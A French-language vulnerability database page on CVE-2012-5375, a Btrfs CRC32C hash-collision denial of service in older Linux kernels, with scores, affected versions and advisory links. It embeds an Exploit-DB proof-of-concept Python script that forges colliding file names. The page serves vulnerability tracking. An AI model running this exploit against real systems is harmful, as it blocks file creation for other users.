CVE-2012-5375 : Détail

CVE-2012-5375

A02-Cryptographic Failures
0.05%V3
Local
2013-02-18
10h00 +00:00
2014-01-02
13h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The CRC32C feature in the Btrfs implementation in the Linux kernel before 3.8-rc1 allows local users to cause a denial of service (prevention of file creation) by leveraging the ability to write to a directory important to the victim, and creating a file with a crafted name that is associated with a specific CRC32C hash value.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4 AV:L/AC:H/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38132

Date de publication : 2012-12-12 23h00 +00:00
Auteur : Pascal Junod
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/56939/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition. #!/usr/bin/env python ## Borrows code from """Calculate and manipulate CRC32. http://en.wikipedia.org/wiki/Cyclic_redundancy_check -- StalkR """ ## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py import struct import sys import os # Polynoms in reversed notation POLYNOMS = { 'CRC-32-IEEE': 0xedb88320, # 802.3 'CRC-32C': 0x82F63B78, # Castagnoli 'CRC-32K': 0xEB31D82E, # Koopman 'CRC-32Q': 0xD5828281, } class CRC32(object): """A class to calculate and manipulate CRC32. Use one instance per type of polynom you want to use. Use calc() to calculate a crc32. Use forge() to forge crc32 by adding 4 bytes anywhere. """ def __init__(self, type="CRC-32C"): if type not in POLYNOMS: raise Error("Unknown polynom. %s" % type) self.polynom = POLYNOMS[type] self.table, self.reverse = [0]*256, [0]*256 self._build_tables() def _build_tables(self): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ self.polynom else: fwd >>= 1 self.table[i] = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ self.polynom) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff self.reverse[i] = rev def calc(self, s): """Calculate crc32 of a string. Same crc32 as in (binascii.crc32)&0xffffffff. """ crc = 0xffffffff for c in s: crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff] return crc^0xffffffff def forge(self, wanted_crc, s, pos=None): """Forge crc32 of a string by adding 4 bytes at position pos.""" if pos is None: pos = len(s) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in s[:pos]: fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in s[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c) # deduce the 4 bytes we need to insert for c in struct.pack('<L',fwd_crc)[::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c) res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:] return res if __name__=='__main__': hack = False ITERATIONS = 10 crc = CRC32() wanted_crc = 0x00000000 for i in range (ITERATIONS): for j in range(55): str = os.urandom (16).encode ("hex").strip ("\x00") if hack: f = crc.forge(wanted_crc, str, 4) if ("/" not in f) and ("\x00" not in f): file (f, 'a').close() else: file (str, 'a').close () wanted_crc += 1

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.8

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

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Références

http://www.ubuntu.com/usn/USN-1944-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1945-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2017-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1947-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://openwall.com/lists/oss-security/2012/12/13/20
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-1946-1
Tags : vendor-advisory, x_refsource_UBUNTU